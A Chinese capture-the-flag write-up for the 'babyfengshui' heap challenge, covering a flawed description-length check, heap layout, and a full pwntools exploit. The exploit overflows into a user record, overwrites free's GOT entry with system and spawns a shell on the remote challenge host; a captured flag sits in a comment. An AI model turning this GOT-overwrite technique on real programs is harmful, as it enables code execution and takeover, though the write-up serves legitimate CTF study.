攻防世界 pwn进阶区----No.012 babyfengshui 解题思路

         攻防世界 pwn进阶区----No.012 babyfengshui 解题思路

1.本题解题思路

1.先期工作

1.运行程序查看基本逻辑

创建用户

 

 

 

 

展示用户

更新用户

删除用户

到这里就可以猜测这题有可能堆上的题,重点查看删除堆的指针情况,以及堆溢出的情况。

2.运用checksec查看程序的保护措施

没有开启地址随机化,使得简单了许多。

3.打开ida审计源码

2.分析漏洞

1.用IDA_pro调试

可以看出主要的数据结构为:

  struct user {
    char *desc;
    char name[0x7c];
} user;

struct user *store[50];

另外在设置用户描述时,程序有一些奇怪的保护:

要求&users[id]->desc[text_len] >= &users[id] - 4

猜测它使用这种保护来避免堆溢出。

然而这种检查方式是有问题的,它基于 description 正好位于 user 前面这种设定。根据我们对堆分配器的理解,这个设定不一定成立,它们之间可能会包含其他已分配的堆块,从而绕过检查。

3.调试程序

调试程序以获得构建堆溢出所需要的数据

 

4.exp的写法与调试

1.首先创造函数

def add_note(size,length,text):
    p.recvuntil('Action: ')
    p.sendline('0')
    p.recvuntil('size of description: ')
    p.sendline(str(size))
    p.recvuntil('name: ')
    p.sendline('AAA')
    p.recvuntil('text length: ')
    p.sendline(str(length))
    p.recvuntil('text: ')
    p.sendline(text)
def delete_note(idx):
    p.recvuntil('Action: ')
    p.sendline('1')
    p.recvuntil('index: ')
    p.sendline(str(idx))
def display_note(idx):
    p.recvuntil('Action: ')
    p.sendline('2')
    p.recvuntil('index: ')
    p.sendline(str(idx))
    p.recv()
def update_note(idx,length,text):
    p.recvuntil('Action: ')
    p.sendline('3')
    p.recvuntil('index: ')
    p.sendline(str(idx))
    p.recvuntil('text length: ')
    p.sendline(str(length))
    p.sendlineafter('text: ',text)

2.其次创建堆溢出

2.本题所涉及知识

1.系统内存分布图

2.malloc_chunk函数

struct malloc_chunk {
  /* #define INTERNAL_SIZE_T size_t */
  INTERNAL_SIZE_T      prev_size;  /* Size of previous chunk (if free).  */
  INTERNAL_SIZE_T      size;       /* Size in bytes, including overhead. */
  struct malloc_chunk* fd;         /* double links -- used only if free. 这两个指针只在free chunk中存在*/
  struct malloc_chunk* bk;
 
  /* Only used for large blocks: pointer to next larger size.  */
  struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
  struct malloc_chunk* bk_nextsize;
};

整体的exp如下:

#!/usr/bin/python
#cyberpeace{a8cbc69fc283b507d582050faf5099f4}
# -*- coding: utf-8 -*-
from LibcSearcher import *
from pwn import *
#context.log_level = 'debug'
ip = "111.198.29.45"
port = 58337


#p = process('./babyfengshui')
p=remote(ip,port)
elf=ELF('./babyfengshui')
obj=LibcSearcher('free',0xf760a750)


def add_note(size,length,text):
    p.recvuntil('Action: ')
    p.sendline('0')
    p.recvuntil('size of description: ')
    p.sendline(str(size))
    p.recvuntil('name: ')
    p.sendline('AAA')
    p.recvuntil('text length: ')
    p.sendline(str(length))
    p.recvuntil('text: ')
    p.sendline(text)
def delete_note(idx):
    p.recvuntil('Action: ')
    p.sendline('1')
    p.recvuntil('index: ')
    p.sendline(str(idx))
def display_note(idx):
    p.recvuntil('Action: ')
    p.sendline('2')
    p.recvuntil('index: ')
    p.sendline(str(idx))
    p.recv()
def update_note(idx,length,text):
    p.recvuntil('Action: ')
    p.sendline('3')
    p.recvuntil('index: ')
    p.sendline(str(idx))
    p.recvuntil('text length: ')
    p.sendline(str(length))
    p.sendlineafter('text: ',text)
add_note(0x80,0x80,'aaa')
#gdb.attach(p)
add_note(0x80,0x80,'bbb')
add_note(0x8,0x8,'/bin//sh')
delete_note(0)
#gdb.attach(p)
add_note(0x100,0x19c,'a'*0x198+p32(elf.got['free']))   
display_note(1)
p.recvuntil('description: ')
free_addr=u32(p.recv(4))
print hex(free_addr)
#print(hex(elf.got['free']))
#print(hex(obj.dump('free')))
offset=free_addr-obj.dump('free')
sys_addr=obj.dump('system')+offset
update_note(1,0x4,p32(sys_addr))		
delete_note(2)
p.interactive()

3.反思与思考

参考资料:

https://www.cnblogs.com/alisecurity/p/5486458.html

https://firmianay.gitbooks.io/ctf-all-in-one/doc/6.1.20_pwn_33c3ctf2016_babyfengshui.html

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章